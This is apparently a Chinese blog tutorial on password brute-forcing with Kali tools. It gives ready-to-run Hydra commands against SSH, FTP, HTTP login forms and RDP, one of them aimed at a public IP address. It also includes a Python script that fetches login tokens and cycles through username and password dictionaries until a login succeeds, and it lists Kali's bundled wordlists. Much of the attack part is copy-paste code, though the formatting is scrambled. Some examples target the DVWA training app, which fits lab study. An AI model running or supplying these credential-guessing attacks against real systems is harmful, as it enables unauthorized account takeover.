目录
Hydra
常见参数
破解SSH
破解FTP
破解HTTP
破解3389远程登录
Kali自带密码字典
dirb
dirbuster
fern-wifi
metasploit
wfuzz
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。
hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh #-L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息
hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息
我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式
GET方式:
分析数据包,我们得到下面的命令
-
hydra -
L user.txt -
P passwd.txt -o http_get.txt -vV
10.96.
10.208 http-
get-form
"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t
3
-
#前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^
USER^和^
PASS^代表是攻击载荷,
F=后面是代表密码错误时的关键字符串 ,
H后面是cookie信息
POST方式:
分析数据包,得到下面的破解命令
-
hydra -
L user.txt -
P passwd.txt -t
3 -o http_post.txt -vV
10.96.
10.183 http-post-form
"/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
-
#前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^
USER^和^
PASS^代表是攻击载荷,
S等于的是密码正确时返回应用的关键字符串
但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。
我们可以自己写一个python脚本来破解。
-
# -*- coding: utf-8 -*-
-
"""
-
Created on Sat Nov 24 20:42:01 2018
-
@author: 小谢
-
"""
-
import urllib
-
import requests
-
from bs4
import BeautifulSoup
-
-
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
-
def get_cookie_token():
-
headers={
'Host':
'127.0.0.1',
-
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
-
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
-
'Accept-Lanuage':
'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
-
'Connection':
'keep-alive',
-
'Upgrade-Insecure-Requests':
'1'}
-
res=requests.get(
"http://127.0.0.1/login.php",headers=headers)
-
cookies=res.cookies
-
a=[(
';'.join([
'='.join(item)
for item
in cookies.items()]))]
## a为列表,存储cookie和token
-
html=res.text
-
soup=BeautifulSoup(html,
"html.parser")
-
token=soup.form.contents[
3][
'value']
-
a.append(token)
-
return a
-
##第二步模拟登陆
-
def Login(a,username,password):
#a是包含了cookie和token的列表
-
headers={
'Host':
'127.0.0.1',
-
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
-
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
-
'Accept-Lanuage':
'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
-
'Connection':
'keep-alive',
-
'Content-Length':
'88',
-
'Content-Type':
'application/x-www-form-urlencoded',
-
'Upgrade-Insecure-Requests':
'1',
-
'Cookie':a[
0],
-
'Referer':
'http://127.0.0.1/login.php'}
-
values={
'username':username,
-
'password':password,
-
'Login':
'Login',
-
'user_token':a[
1]
-
}
-
data=urllib.parse.urlencode(values)
-
resp=requests.post(
"http://127.0.0.1/login.php",data=data,headers=headers)
-
return
-
#重定向到index.php
-
def main():
-
with open(
"user.txt",
'r')
as f:
-
users=f.readlines()
-
for user
in users:
-
user=user.strip(
"\n")
#用户名
-
with open(
"passwd.txt",
'r')
as file:
-
passwds=file.readlines()
-
for passwd
in passwds:
-
passwd=passwd.strip(
"\n")
#密码
-
a=get_cookie_token()
##a列表中存储了服务器返回的cookie和toke
-
Login(a,user,passwd)
-
headers={
'Host':
'127.0.0.1',
-
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
-
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
-
'Accept-Lanuage':
'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
-
'Connection':
'keep-alive',
-
'Upgrade-Insecure-Requests':
'1',
-
'Cookie':a[
0],
-
'Referer':
'http://127.0.0.1/login.php'}
-
response=requests.get(
"http://127.0.0.1/index.php",headers=headers)
-
if response.headers[
'Content-Length']==
'7524':
#如果登录成功
-
print(
"用户名为:%s ,密码为:%s"%(user,passwd))
#打印出用户名和密码
-
break
-
if __name__==
'__main__':
-
main()
脚本运行截图
hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V
暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下
big.txt #大的字典 small.txt #小的字典 catala.txt #项目配置字典 common.txt #公共字典 euskera.txt #数据目录字典 extensions_common.txt #常用文件扩展名字典 indexes.txt #首页字典 mutations_common.txt #备份扩展名 spanish.txt #方法名或库目录 others #扩展目录,默认用户名等 stress #压力测试 vulns #漏洞测试
-
apache-user-
enum-** #apache用户枚举
-
directories.
jbrofuzz #目录枚举
-
directory-
list-1.0.
txt #目录列表大,中,小
big,
medium,
small
common.txt #公共wifi账户密码
metasploit下有各种类型的字典
模糊测试,各种字典
相关文章:Linux下暴力破解工具Hydra详解